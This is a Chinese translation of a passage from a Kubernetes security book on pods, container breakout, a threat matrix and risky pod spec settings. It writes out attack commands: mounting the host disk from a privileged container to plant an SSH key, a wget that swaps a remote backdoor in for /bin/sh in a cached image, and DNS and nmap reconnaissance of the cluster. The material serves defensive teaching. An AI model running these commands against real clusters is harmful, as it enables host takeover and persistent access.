根用户拥有所有权限,并且可以授予任何进程或用户(“环境权限”)。在本章后面我们将看到,过多的权限授予可能会导致容器的突破。

在 Kubernetes 中,容器运行时会将新创建的容器添加到 Pod 中,其中它会在 Pod 容器之间共享网络和进程通信命名空间。

图 2-5 显示了一个 kubelet 在单个节点上运行四个独立的 Pod。

容器是对抗敌人的第一道防线,应在运行之前扫描容器镜像以检测 CVE(公共漏洞和暴露)。这一简单步骤可以降低运行过时或恶意容器的风险,并帮助您基于风险做出部署决策:您是否将其部署到生产环境中,或者是否需要先修补可利用的 CVE?

节点上的示例 Pod

图 2-5. 节点上的示例 Pod(来源:Kubernetes 文档
提示

公共注册表中的“官方”容器镜像更有可能是最新的并且已经修补完毕,Docker Hub 使用 Notary 对所有官方镜像进行签名,正如我们将在 第四章 中看到的。

公共容器注册表通常托管恶意镜像,因此在生产之前检测它们至关重要。图 2-6 展示了这种可能发生的情况。

kubelet将 pod 连接到容器网络接口(CNI)。 CNI 网络流量被视为第 4 层 TCP/IP(尽管 CNI 插件使用的底层网络技术可能不同),加密由 CNI 插件、应用程序、服务网格或至少节点之间的底层网络处理。如果流量未加密,可能会被受损 pod 或节点嗅探。

污染公共容器注册表

图 2-6. 污染公共容器注册表
警告

虽然在正确配置的容器运行时下启动恶意容器通常是安全的,但已经有攻击针对容器引导阶段。我们将在本章稍后讨论/proc/self/exe突破 CVE-2019-5736。

Pods 还可以通过 Kubernetes 附加存储,使用容器存储接口(CSI),其中包括 Figure 2-7 中显示的 PersistentVolumeClaim 和 StorageClass。在第六章中,我们将更深入地探讨存储方面的内容。

在图 2-7 中,您可以看到控制平面和 API 服务器在集群中的中心角色。 API 服务器负责与集群数据存储(etcd)交互,托管集群的可扩展 API 表面,并管理kubelet。如果 API 服务器或etcd实例被攻击者控制,攻击者将完全控制集群:这些是系统中最敏感的部分。

集群示例 2

图 2-7. 集群示例 2(来源:Tsuyoshi Ushio
警告

许多存储驱动程序存在漏洞,包括 CVE-2018-11235,它在gitrepo存储卷上暴露了对 Git 的攻击,以及 CVE-2017-1002101,一个子路径卷挂载处理错误。我们将在第六章中详细介绍这些内容。

对于较大的集群性能,控制平面应在独立的基础设施上运行,以与etcd分离,后者需要高磁盘和网络 I/O 以支持其分布式共识算法Raft的合理响应时间。

由于 API 服务器是etcd集群的唯一客户端,攻击者成功攻击其中一个将有效地获取对集群的控制权:由于异步调度,在 Kubernetes 中,将恶意的未安排的 pod 注入etcd将触发它们被调度到kubelet

与所有快速移动的软件一样,Kubernetes 栈的大部分组件都存在漏洞。运行现代软件的唯一解决方案是具备健康的持续集成基础设施,能够在漏洞公告后及时重新部署受影响的集群。

理解容器

好了,我们已经对集群有了高层次的视图。但是在低层次上,“容器”是什么?它是 Linux 的微观世界,为进程提供了一个专用内核、网络和用户空间的幻觉。软件技巧使容器内的进程误以为自己是在主机上唯一运行的进程。这对于将现有工作负载隔离和迁移到 Kubernetes 中是有用的。

注意

正如Christian BraunerStéphane Graber喜欢说的,“(Linux)容器是用户空间的虚构”,是一组配置,为容器内的进程提供隔离的幻象。容器源自原始的内核汤,是演变的产物,而不是智能设计,经过改进和形成,现在变得可以使用起来了。

容器并不以单一的 API、库或内核特性存在。它们仅仅是内核启动一组命名空间、配置一些cgroups和能力、添加像 AppArmor 和 SELinux 这样的 Linux 安全模块,并在容器内启动我们珍贵的小进程后所剩下的捆绑和隔离结果。

容器是一个进程,处于特殊环境中,并具有一些命名空间的组合,这些命名空间可能已启用或与主机(或其他容器)共享。该进程来自容器镜像,这是一个包含容器根文件系统、其应用程序及任何依赖项的 TAR 文件。当镜像被解压到主机上的目录中,并创建一个特殊的文件系统“pivot root”时,就围绕它构建了一个“容器”,并且其ENTRYPOINT从容器内的文件系统中运行。这大致是容器启动的过程,Pod 中的每个容器都必须经历此过程。

容器安全有两个部分:容器镜像的内容及其运行时配置和安全上下文。从容器启用和安全使用的安全原语数量中可以推导出容器的抽象风险评级,避免主机命名空间,使用cgroups限制资源使用,放弃不必要的能力,根据进程使用模式加强安全模块配置,以及最小化进程和文件系统的所有权和内容。Kubesec.io 根据运行时如何有效启用这些特性来评估 Pod 配置的安全性。

当内核检测到网络命名空间为空时,它将销毁该命名空间,移除其中网络适配器分配的任何 IP 地址。对于只有一个单独容器持有网络命名空间 IP 分配的 Pod,崩溃并重新启动的容器将会创建一个新的网络命名空间,并分配新的 IP 地址。这种 IP 地址的快速变化会为运维人员和安全监控带来不必要的噪音。Kubernetes 使用所谓的暂停容器(参见 “Pod 内部网络”),在发生崩溃循环的租户容器时保持 Pod 的共享网络命名空间开放。从工作节点内部看,每个 Pod 中的伴随暂停容器如下所示:

andy@k8s-node-x:~ [0]$ docker ps --format '{{.Image}} {{.Names}}' |
  grep "sublimino-"
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-4z86v_default-0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-4z86v-1
...
busybox k8s_alpine_sublimino-microservice-755d97b46b-xqrw9_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-microservice-755d97b46b-xqrw9_default_1
...
busybox k8s_alpine_sublimino-frontend-5cc74f44b8-hnxz5_default_0
k8s.gcr.io/pause:3.3 k8s_POD_sublimino-frontend-5cc74f44b8-hnxz5_default_1

此暂停容器在 Kubernetes API 中是不可见的,但在工作节点的容器运行时中是可见的。

注意

CRI-O 通过固定命名空间(除非绝对必要)来省去暂停容器的步骤,如 KubeCon 演讲 “CRI-O: Look Ma, No Pause” 所述。

共享网络和存储

一个 Pod 中的一组容器共享网络命名空间,因此 Pod 中的每个容器都可以在同一个网络适配器上访问所有其他容器的端口。这使得 Pod 中的一个容器中的攻击者有机会攻击任何网络接口上可用的私有套接字,包括回环适配器 127.0.0.1

提示

我们将在第 5 和第六章节详细讨论这些概念。

每个容器使用其容器镜像中的根文件系统,这些根文件系统之间不共享。卷必须挂载到 Pod 配置中的每个容器中,但如果配置为这样,Pod 的卷可能对所有容器都可用,正如您在 图 2-4 中所见。

图 2-8 显示容器工作负载内部的一些路径,攻击者可能会感兴趣(请注意 usertime 命名空间目前未使用)。

嵌套 Pod 命名空间

图 2-8. 将容器包装在 Pod 中的命名空间(灵感来源于 Ian Lewis
注意

用户命名空间是最终的内核安全前沿,由于历史上可能是内核攻击的入口点,通常不启用:Linux 中的所有内容都是文件,用户命名空间的实现横跨整个内核,使其比其他命名空间更难以保护。

这里列出的特殊虚拟文件系统都是容器内配置错误时的潜在突破口:/dev 可能会访问主机设备,/proc 可泄露进程信息,而 /sys 支持启动新容器的功能。

最糟糕的可能性是什么?

作为安全首席信息官(CISO),您负责组织的安全。作为 CISO 的角色意味着您应考虑最坏的情况,确保您已经采取适当的防御和缓解措施。攻击树有助于对这些负面结果进行建模,您可以使用的数据源之一是威胁矩阵,如图 2-9 所示。

Microsoft Kubernetes 威胁矩阵

图 2-9. 微软 Kubernetes 威胁矩阵;来源:“Secure Containerized Environments with Updated Threat Matrix for Kubernetes”

但是还有一些遗漏的威胁,并且社区已经添加了一些(感谢 Alcide 和 Brad Geesaman 以及 Ian Coldwater),如表 2-1 所示。

表 2-1. 我们增强的微软 Kubernetes 威胁矩阵

初始访问(弹出 shell pt 1 - 准备) 执行(弹出 shell pt 2 - 执行) 持久性(保持 shell) 特权升级(容器突破) 防御规避(假设没有入侵检测系统) 凭证访问(重要的凭证) 发现(枚举可能的枢纽) 横向移动(枢纽) 命令与控制(C2 方法) 影响(危险性)
使用云凭据:服务帐户密钥,冒充 执行到容器(绕过准入控制策略) 容器后门(向本地或容器注册表图像添加反向 shell) 特权容器(合法提升到主机) 清除容器日志(主机突破后覆盖轨迹) 列出 K8s 机密 列出 K8s API 服务器(nmap,curl) 访问云资源(工作负载身份和云集成) 动态解析(DNS 隧道) 数据销毁(数据存储,文件,NAS,勒索软件…)
受损镜像在注册表中(供应链未修复或恶意) 容器内的 BASH/CMD(植入物或特洛伊木马,RCE/反向 shell,恶意软件,C2,DNS 隧道) 可写主机路径挂载(主机挂载突破) 集群管理员角色绑定(未经测试的 RBAC) 删除 K8s 事件(主机突破后覆盖轨迹) 挂载服务主体(特定于 Azure) 访问 kubelet API 容器服务帐户(API 服务器) 应用程序协议(L7 协议,TLS,…) 资源劫持(加密货币挖矿,恶意软件 C2/分发,开放中继,僵尸网络成员资格)
应用程序漏洞(供应链未修复或恶意) 启动新容器(带有恶意有效载荷:持久性,枚举,观察,升级) K8s CronJob(定时反向 shell) 访问云资源(通过工作负载身份元数据攻击) 从代理服务器连接(覆盖源 IP,外部到集群) 应用程序配置文件中的应用程序凭据(密钥材料) 访问 K8s 仪表板(UI 需要服务帐户凭据) 集群内部网络(攻击相邻的 pod 或系统) 僵尸网络(k3d 或传统的) 应用程序拒绝服务
kubeconfig 文件(泄露或上传到错误位置) 应用程序漏洞利用(RCE) 静态 Pod(反向 shell,影子 API 服务器以读取仅审计日志标头) Pod hostPath 挂载(日志到容器越界) Pod/容器名称相似性(视觉回避,CronJob 攻击) 访问容器服务帐户(RBAC 横向跳跃) 网络映射(nmap,curl) 访问容器服务帐户(RBAC 横向跳跃) 节点调度 DoS
受损的用户端点(2FA 和联合身份验证缓解) 容器内的 SSH 服务器(不良实践) 注入的 sidecar 容器(恶意变异 Webhook) 节点到集群升级(窃取凭据,节点标签重新绑定攻击) 动态解析(DNS)(DNS 隧道/泄露) 受损的准入控制器 实例元数据 API(工作负载身份) 主机可写卷挂载 服务发现 DoS
K8s API 服务器漏洞(需要 CVE 和未打补丁的 API 服务器) 容器生命周期钩子(在 Pod YAML 中的 postStartpreStop 事件) 重写容器生命周期钩子(在 Pod YAML 中的 postStartpreStop 事件) 控制平面到云升级(Secrets 中的密钥,云或控制平面凭据) 影子准入控制或 API 服务器 威胁 K8s Operator(敏感 RBAC) 访问 K8s 仪表板 PII 或 IP 泄露(集群或云数据存储,本地帐户)
受损的主机(凭据泄露/塞满,未打补丁的服务,供应链威胁) 重写存活探针(在容器中执行和反向 shell) 威胁准入控制器(重新配置并绕过以允许带有标记的阻止镜像) 访问主机文件系统(主机挂载) 访问 tiller 端点(Helm v3 无视此问题) 容器拉取速率限制 DoS(容器注册表)
受损的 etcd(缺少身份验证) 影子准入控制或 API 服务器(特权 RBAC,反向 shell) 威胁 K8s Operator(威胁 flux 并读取任何 Secrets) 访问 K8s Operator SOC/SIEM DoS(事件/审计/日志速率限制)
K3d 僵尸网络(在受损节点上运行的次要集群) 容器越界(内核或运行时漏洞,例如 DirtyCOW,/proc/self/exe,eBPF 验证程序漏洞,Netfilter)

随着我们逐步深入本书,我们将详细探讨这些威胁。

容器越界

集群管理员最担心的是容器越界,即容器内的用户或进程可以在容器执行环境之外运行代码。

注意

严格来说,容器突破应该利用内核,攻击容器应该受到约束的代码。在作者看来,任何避开隔离机制的行为都违反了容器的维护者或操作者认为与容器内进程之间的协议,这意味着它应被视为对主机系统及其数据安全同样构成威胁,因此我们定义容器突破来包括任何逃避隔离的行为。

容器突破可能以各种方式发生:

  • 包括对内核、网络或存储堆栈或容器运行时的利用

  • 诸如攻击暴露的本地、云或网络服务,或提升权限并滥用已发现或继承的凭据的转轴

  • 通过错误配置,允许攻击者更轻松或合法地利用或转轴(这是最有可能的方式)

如果运行进程由非特权用户拥有(即没有 root 权限的用户),则许多突破是不可能的。在这种情况下,进程或用户必须在尝试突破之前在容器内部通过本地特权升级获取权限。

一旦实现了这一点,突破可能从运行在配置不当容器中的敌对 root 拥有的进程开始。在容器内获得对 root 用户能力的访问是大多数逃逸的先决条件:没有 root 权限(有时没有CAP_SYS_ADMIN),许多突破是无效的。

提示

securityContext和 LSM 配置对于限制来自零日漏洞或供应链攻击(加载到容器中并在运行时自动利用的库代码)的意外活动至关重要。

在你的工作负载安全上下文中,可以定义活动用户、组和文件系统组(设置在已挂载卷上以提高可读性,由fsGroupChangePolicy控制),并通过准入控制(参见第八章)强制执行,正如文档中的示例所示:

apiVersion: v1
kind: Pod
metadata:
  name: security-context-demo
spec:
  securityContext:
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: sec-ctx-demo
# ...
    securityContext:
      allowPrivilegeEscalation: false
# ...

在容器突破场景中,如果用户在容器内部是 root 用户或具有挂载能力(默认由CAP_SYS_ADMIN授予,除非放弃),则可以与挂载到容器中的虚拟和物理磁盘进行交互。如果容器是特权容器(其中包括禁用/dev中内核路径屏蔽),它可以看到并挂载主机文件系统:

# inside a privileged container
root@hack:~ [0]$ ls -lasp /dev/
root@hack:~ [0]$ mount /dev/xvda1 /mnt/

# write into host filesystem's /root/.ssh/ folder
root@hack:~ [0]$ cat MY_PUB_KEY >> /mnt/root/.ssh/authorized_keys

我们查看nsenter特权容器的突破,通过进入主机的命名空间更加优雅地逃逸,在第六章中讨论。

尽管你应该通过避免 root 用户和特权模式轻松防止这种攻击,并通过准入控制强制执行,但如果配置错误,这表明容器安全边界可以有多薄弱。

警告

控制容器化进程的攻击者可能控制网络、部分或全部存储,以及可能是 pod 中的其他容器。容器通常假定 pod 中的其他容器是友好的,因为它们共享资源,我们可以将 pod 视为内部进程的信任边界。初始化容器是一个例外:它们在主容器启动之前完成并关闭,并且因为它们在隔离中运行,可能具有更高的安全敏感性。

容器和 pod 隔离模型依赖于 Linux 内核和容器运行时,通常情况下配置正确时都很健壮。容器逃逸更多地是通过不安全的配置而非内核漏洞发生,尽管零日内核漏洞对未正确配置 LSM(如 SELinux 和 AppArmor)的 Linux 系统必然具有毁灭性影响。

注意

在“为弹性构建容器化应用程序”中,我们探讨了 Linux DirtyCOW 漏洞如何被利用来突破不安全配置的容器。

容器逃逸很少是一帆风顺的,而任何新的漏洞通常在披露后不久就会被修复。只有偶尔会出现内核漏洞导致可利用的容器逃逸,而使用 LSM(如 SELinux 和 AppArmor)正确配置可以让防御者紧密限制高风险的面向网络的进程;它可能涉及以下一项或多项:

  • 发现运行时或内核中的零日漏洞

  • 利用过多的特权并使用合法命令逃逸

  • 规避错误配置的内核安全机制

  • 检查其他进程或文件系统以寻找替代的逃逸路径

  • 监听网络流量以获取凭证

  • 攻击底层协调器或云环境

警告

底层物理硬件的漏洞通常无法在容器中进行防御。例如,SpectreMeltdown(CPU 推测执行攻击),以及rowhammerTRRespassSPOILER(DRAM 内存攻击)通过容器隔离机制,因为它们无法拦截 CPU 处理的整个指令流。虚拟化程序遇到同样的保护缺乏问题。

发现新的内核攻击很困难。错误配置的安全设置、利用已发布的 CVE 以及社会工程攻击更容易。但是理解潜在威胁范围对于确定自身的风险容忍度至关重要。

我们将逐步探索安全功能,以查看系统可能受到攻击的一系列方式,见附录 A。

欲了解 Kubernetes 项目如何管理 CVE,请参阅 Anne Bertucio 和 CJ Cullen 的博文,“探索容器安全:开源 Kubernetes 中的漏洞管理”。

Pod 配置和威胁

我们已经广泛地讨论了 pod 的各个部分,因此让我们深入了解 pod spec,以强调任何问题或潜在的风险。

警告

为了保护 pod 或容器,容器运行时应该是最小可用安全的;即不应该主持未经身份验证的连接的套接字(例如 Docker 的 /var/run/docker.socktcp://127.0.0.1:2375),因为这将 导致主机被接管

出于此示例的目的,我们使用了 GoogleCloudPlatform/microservices-demo 应用程序 中的 frontend pod,并使用以下命令部署:

kubectl create -f \
"https://raw.githubusercontent.com/GoogleCloudPlatform/\
microservices-demo/master/release/kubernetes-manifests.yaml"

我们已经更新并添加了一些额外的配置,以便进行演示,并将在接下来的几节中进行详细讨论。

Pod Header

pod 头是我们所熟悉和喜爱的所有 Kubernetes 资源的标准头部,定义了此 YAML 定义的实体类型及其版本:

apiVersion: v1
kind: Pod

元数据和注释可能包含敏感信息,如 IP 地址或安全提示(在这种情况下,适用于 Istio),尽管只有当攻击者具有只读访问权限时才有用:

metadata:
  annotations:
    seccomp.security.alpha.kubernetes.io/pod: runtime/default
    cni.projectcalico.org/podIP: 192.168.155.130/32
    cni.projectcalico.org/podIPs: 192.168.155.130/32
    sidecar.istio.io/rewriteAppHTTPProbers: "true"

它也历史性地持有 seccompAppArmorSELinux 策略:

metadata:
  annotations:
    container.apparmor.security.beta.kubernetes.io/hello: "localhost/\
      k8s-apparmor-example-deny-write"

我们将讨论如何在 “运行时策略” 中使用这些注释。

注意

经过多年的悬而未决,seccomp 在 Kubernetes 中在 v1.19 中 进入了一般可用状态

这将从注释语法 更改为 securityContext 条目

securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: my-seccomp-profile.json

Kubernetes 安全配置文件运算符(SPO)可以在您的节点上安装 seccomp 配置文件(容器运行时使用的先决条件),并从集群中的工作负载中记录新配置文件,使用 oci-seccomp-bpf-hook

SPO 也支持通过 selinuxd 实现 SELinux,详细信息请参见 此博客文章

AppArmor 仍处于测试阶段,但一旦升级到 GA,注释将被像 seccomp 这样的一流字段取代。

让我们继续讨论一个对客户端不可写的 pod spec 的部分,但包含一些重要的提示。

反向正常运行时间

当您从 API 服务器转储一个 pod spec(例如使用 kubectl get -o yaml)时,它包括 pod 的启动时间:

  creationTimestamp: "2021-05-29T11:20:53Z"

运行时间超过一两周的 pod 可能面临未打补丁的 bug 风险增加。如果敏感工作负载运行超过 30 天,通过 CI/CD 重建以适应库或操作系统补丁会更安全。

通过离线扫描现有容器镜像中的 CVE 来通知重建的流水线可以使用。最安全的方法是定期结合“重建”(即重建和重新部署容器)和在检测到 CVE 时通过 CI/CD 流水线进行重建。

标签

Kubernetes 中的标签不受验证或强类型化;它们是元数据。但是标签受到服务和控制器使用选择器引用的影响,并且还用于安全功能,如网络策略。这使它们对安全敏感,并且很容易受到误配置的影响:

  labels:
    app: frontend
    type: redis

标签中的拼写错误意味着它们与预期的选择器不匹配,因此可能无意中引入安全问题,例如:

  • 从预期的网络策略或准入控制策略中排除

  • 从服务目标选择器的意外路由

  • 不被运营商或可观察性工具精确定位的恶意 pod

管理字段

管理字段是在 v1.18 中引入的,支持 服务器端应用。它们复制了 pod 规范中其他地方的信息,但我们对它们的兴趣有限,因为我们可以从 API 服务器读取整个规范。它们看起来像这样:

  managedFields:
  - apiVersion: v1
    fieldsType: FieldsV1
    fieldsV1:
      f:metadata:
        f:annotations:
          .: {}
          f:sidecar.istio.io/rewriteAppHTTPProbers: {}
# ...
      f:spec:
        f:containers:
          k:{"name":"server"}:
# ...
            f:image: {}
            f:imagePullPolicy: {}
            f:livenessProbe:
# ...

Pod 的命名空间和所有者

我们通过 API 请求获取它时知道 pod 的名称和命名空间。

如果我们使用--all-namespaces返回所有 pod 配置,这将显示命名空间:

  name: frontend-6b887d8db5-xhkmw
  namespace: default

在 pod 内部,可以通过 /etc/resolv.conf 中的 DNS 解析器配置推断出当前命名空间(例如此示例中为secret-namespace):

$ grep -o "search [^ ]*" /etc/resolv.conf
search secret-namespace.svc.cluster.local

其他不太健壮的选项包括挂载的服务账户(假设它在相同的命名空间中,这可能并非如此),或者集群的 DNS 解析器(如果您可以枚举或抓取它)。

环境变量

现在我们开始进入有趣的配置。我们想看到 pod 中的环境变量,部分原因是它们可能泄露秘密信息(应该已作为文件挂载),还因为它们可能列出命名空间中可用的其他服务,并因此建议其他网络路由和攻击应用程序:

警告

在部署和 pod YAML 中设置的密码对部署 YAML 的操作员、运行时的进程和任何其他能够读取其环境的进程可见,并对能够从 Kubernetes 或 kubelet API 中读取的任何人可见。

这里我们看到容器的PORT(这是良好的实践,并且应用程序在 Knative、Google Cloud Run 和一些其他系统中运行时所必需的),其协调服务的 DNS 名称和端口,一些设置不良的数据库配置和凭据,最后还有一个合理引用的 Secret 文件:

spec:
  containers:
  - env:
    - name: PORT
      value: "8080"
    - name: CURRENCY_SERVICE_ADDR
      value: currencyservice:7000
    - name: SHIPPING_SERVICE_ADDR
      value: shippingservice:50051
# These environment variables should be set in secrets
    - name: DATABASE_ADDR
      value: postgres:5432
    - name: DATABASE_USER
      value: secret_user_name
    - name: DATABASE_PASSWORD
      value: the_secret_password
    - name: DATABASE_NAME
      value: users
# This is a safer way to reference secrets and configuration
    - name: MY_SECRET_FILE
      value: /mnt/secrets/foo.toml

这并不算太糟糕,对吧?让我们继续讨论容器镜像。

容器镜像

容器镜像的文件系统非常重要,因为它可能存在有助于提升特权的漏洞。如果您不定期打补丁,Captain Hashjack 可能会从公共注册表获取相同的镜像以扫描可能可以利用的漏洞。知道哪些二进制文件和文件可用还能够在攻击计划“离线”时进行攻击,这样对手在攻击实时系统时可以更隐秘和有针对性。

提示

OCI 注册表规范允许任意图像层存储:这是一个两步过程,第一步上传清单,第二步上传数据块。如果攻击者只执行第二步,他们可以免费获得任意数据块存储空间。

大多数注册表不会自动索引这一点(Harbour 是个例外),因此它们将永久存储“孤立”的数据块,可能隐藏在视图之外,直到手动进行垃圾回收。

这里我们看到一个通过标签引用的图像,这意味着我们无法确定容器镜像的实际 SHA256 哈希摘要。由于在部署后未使用摘要引用,容器标签可能已更新:

  image: gcr.io/google-samples/microservices-demo/frontend:v0.2.3

我们可以使用 SHA256 图像摘要而不是图像标签来拉取图像,以便按其内容地址引用:

  image: gcr.io/google-samples/microservices-demo/frontend@sha256:ca5d97b6cec...

图像应始终通过 SHA256 或使用已签名标签进行引用;否则,由于标签可能已在容器启动后在注册表中更新,因此无法知道正在运行什么。您可以通过检查运行中容器的图像 SHA256 来验证正在运行的内容。

在 Kubernetes 的image:键中可以同时指定标签和 SHA256 摘要,此时将忽略标签并通过摘要检索图像。这会导致包含标签和 SHA256 的潜在混乱的图像定义,如以下内容将按 SHA 而不是标签检索的图像:

controlplane/bizcard:latest\ ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)
@sha256:649f3a84b95ee84c86d70d50f42c6d43ce98099c927f49542c1eb85093953875 ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)

1

容器名称,加上忽略的“latest”标签

2

图像 SHA256,覆盖了前一行定义的“latest”标签

检索作为匹配 SHA 的图像而不是标签。

如果攻击者可以影响本地kubelet图像缓存,他们可以向图像添加恶意代码并在工作节点上重新标记它(注意:要再次运行此操作,请不要忘记删除cidfile):

$ docker run -it --cidfile=cidfile --entrypoint /bin/busybox \
  gcr.io/google-samples/microservices-demo/frontend:v0.2.3 \
  wget https://securi.fyi/b4shd00r -O /bin/sh ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)

$ docker commit $(<cidfile) \
  gcr.io/google-samples/microservices-demo/frontend:v0.2.3 ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)

1

加载恶意 shell 后门并覆盖容器的默认命令(/bin/sh)。

2

提交更改后的容器使用相同方法。

虽然本地注册表缓存的妥协可能导致此攻击,容器缓存访问可能通过对节点进行 root 权限获取,因此这可能是您最不用担心的问题。

注意

在高度动态的“从零自动扩展”环境中,如 Knative,使用Always的图像拉取策略存在性能问题。当启动时间至关重要时,多秒级的imagePullPolicy潜在延迟是不可接受的,必须使用图像摘要。

对本地图像缓存的此攻击可以通过使用Always的图像拉取策略来减轻,这将确保本地标签与从中拉取的注册表中定义的内容匹配。这非常重要,您应始终注意此设置:

  imagePullPolicy: Always

容器镜像名称或注册表名称中的拼写错误会导致意外部署恶意容器代码,如果对手已将图像与恶意容器“typosquatted”。

当只有一个字符变化时,例如 controlplan/hack 而非 controlplane/hack,这可能很难检测到。像 Notary 这样的工具通过检查来自可信方的有效签名来防范此类情况。如果 TLS 拦截中间件框拦截并重写图像标签,则可能部署虚假图像。

再次强调,TUF 和 Notary 侧信道签名以及像 cosign 这样的其他容器签名方法可以缓解这种情况,正如 第四章 中讨论的那样。

Pod 探测

您的活跃探测应根据应用程序的性能特征进行调整,并用于保持其在生产环境中的活跃性。探测用于通知 Kubernetes 应用程序是否无法履行其指定目的,例如由于崩溃或外部系统故障。

Kubernetes 审计发现 TOB-K8S-024 表明,具备调度 Pod 能力的攻击者可以通过无需更改 Pod 的 commandargs 来操控网络请求并在目标容器内执行命令。由于探测由 kubelet 在主机网络接口上执行,而不是从容器内部执行,这使得攻击者可以进行本地网络发现。

这里可以使用 host 头来枚举本地网络。概念验证漏洞如下:

apiVersion : v1
kind : Pod
# ...
livenessProbe:
  httpGet:
    host: 172.31.6.71
    path: /
    port: 8000
    httpHeaders :
    - name: Custom-Header
      value: Awesome

CPU 和内存限制以及请求

管理 Pod 的 cgroups 的资源限制和请求可以防止 kubelet 主机上有限内存和计算资源的耗尽,并防御 fork 炸弹和运行异常的进程。Pod 规范不支持网络带宽限制,但您的 CNI 实现可能支持。

cgroups 是一种有用的资源限制。cgroups v2 提供了更多保护,但 cgroups v1 并非安全边界,可以很容易地逃逸

限制可以防止恶意容器执行的加密挖矿或资源耗尽。它还阻止主机因糟糕的部署而不堪重负。对于进一步利用系统的对手,除非它们需要使用内存密集型攻击,其效果有限:

    resources:
      limits:
        cpu: 200m
        memory: 128Mi
      requests:
        cpu: 100m
        memory: 64Mi

DNS

默认情况下,Kubernetes DNS 服务器提供集群中所有服务的所有记录,除非单独按命名空间或域部署,否则无法实现命名空间隔离。

提示

CoreDNS 支持策略插件,包括 OPA,以限制对 DNS 记录的访问并防止以下枚举攻击。

Kubernetes CoreDNS 默认安装泄漏了关于其服务的信息,并为攻击者提供了查看所有可能网络端点的视图(见 图 2-10)。当然,由于网络策略的存在,它们可能并非全部可访问,正如我们将在 “流量流控” 中看到的那样。

DNS 枚举可以针对默认的无限制 CoreDNS 安装执行。为检索集群命名空间中的所有服务(输出经过编辑以适应):

root@hack-3-fc58fe02:/ [0]# dig +noall +answer \
  srv any.any.svc.cluster.local |
  sort --human-numeric-sort --key 7

any.any.svc.cluster.local. 30 IN SRV 0 6 53 kube-dns.kube-system.svc.cluster...
any.any.svc.cluster.local. 30 IN SRV 0 6 80 frontend-external.default.svc.clu...
any.any.svc.cluster.local. 30 IN SRV 0 6 80 frontend.default.svc.cluster.local.
...

tweet-rory-hard-dns

图 2-10. Rory McCune 关于硬多租户难题的智慧

对于所有服务终端和名称,请执行以下操作(输出经过编辑以适应):

root@hack-3-fc58fe02:/ [0]# dig +noall +answer \
  srv any.any.any.svc.cluster.local |
  sort --human-numeric-sort --key 7

any.any.any.svc.cluster.local. 30 IN SRV 0 3 53 192-168-155-129.kube-dns.kube...
any.any.any.svc.cluster.local. 30 IN SRV 0 3 53 192-168-156-130.kube-dns.kube...
any.any.any.svc.cluster.local. 30 IN SRV 0 3 3550 192-168-156-133.productcata...
...

基于查询返回 IPv4 地址:

root@hack-3-fc58fe02:/ [0]# dig +noall +answer 1-3-3-7.default.pod.cluster.local

1-3-3-7.default.pod.cluster.local. 23 IN A      1.3.3.7

Kubernetes API 服务器服务 IP 信息默认挂载到 pod 的环境中:

root@test-pd:~ [0]# env | grep KUBE
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.7.240.1
KUBERNETES_SERVICE_HOST=10.7.240.1
KUBERNETES_PORT=tcp://10.7.240.1:443
KUBERNETES_PORT_443_TCP_PORT=443

root@test-pd:~ [0]# curl -k \
  https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version

{
  "major": "1",
  "minor": "19+",
  "gitVersion": "v1.19.9-gke.1900",
  "gitCommit": "008fd38bf3dc201bebdd4fe26edf9bf87478309a",
# ...

响应匹配 API 服务器的 /version 终端。

Tip

您可以使用 此 nmap 脚本 和以下函数检测 Kubernetes API 服务器:

nmap-kube-apiserver() {
    local REGEX="major.*gitVersion.*buildDate"
    local ARGS="${@:-$(kubectl config view --minify |
        awk '/server:/{print $2}' |
        sed -E -e 's,^https?://,,' -e 's,:, -p ,g')}"

    nmap \
        --open \
        --script=http-get \
        --script-args "\
 http-get.path=/version, \
 http-get.match="${REGEX}", \
 http-get.showResponse, \
 http-get.forceTls \
 " \
        ${ARGS}
}

接下来是一个重要的运行时策略部分:securityContext,最初由 Red Hat 引入。

Pod 的 securityContext

此 pod 使用空的 securityContext 运行,这意味着在部署时没有准入控制器对配置进行修改,容器可以运行一个属于 root 的进程,并且具有所有可用的能力:

  securityContext: {}

利用能力风险涉及对内核标志的理解,Stefano Lanaro 的指南 提供了全面的概述。

不同的能力可能对系统产生特定影响,CAP_SYS_ADMINCAP_BPF 尤其吸引攻击者。你应谨慎授予的显著能力包括:

CAP_DAC_OVERRIDECAP_CHOWNCAP_DAC_READ_SEARCHCAP_FORMERCAP_SETFCAP

绕过文件系统权限

CAP_SETUID, CAP_SETGID

成为 root 用户

CAP_NET_RAW

读取网络流量

CAP_SYS_ADMIN

文件系统挂载权限

CAP_SYS_PTRACE

对其他进程进行全能调试

CAP_SYS_MODULE

加载内核模块以绕过控制

CAP_PERFMONCAP_BPF

访问深度钩住 BPF 系统

这些是许多容器突破的先导条件。正如 Brad Geesaman 在 图 2-11 中指出的那样,进程想要自由!对手会利用 pod 中可以用来逃逸的任何东西。

haku 0212

图 2-11. Brad Geesaman 引人入胜的容器自由呼吁
Note

CAP_NET_RAWrunc 中默认启用,允许 UDP(绕过如 Istio 的 TCP 服务网格)、ICMP 消息和 ARP 毒化攻击。Aqua 发现 DNS 毒化攻击 目标是 Kubernetes DNS,而 net.ipv4.ping_group_rangesysctl 标志意味着 在需要 ICMP 时应该丢弃

这些是一些容器突破,需要 root 和/或 CAP_SYS_ADMINCAP_NET_RAWCAP_BPFCAP_SYS_MODULE 来运行:

  • 子路径卷挂载遍历以及 /proc/self/exe(均在 第六章 描述)。

  • CVE-2016-5195 是一个只读内存写时复制竞争条件,又称 DirtyCow,在 “Architecting Containerized Apps for Resilience” 中有详细介绍。

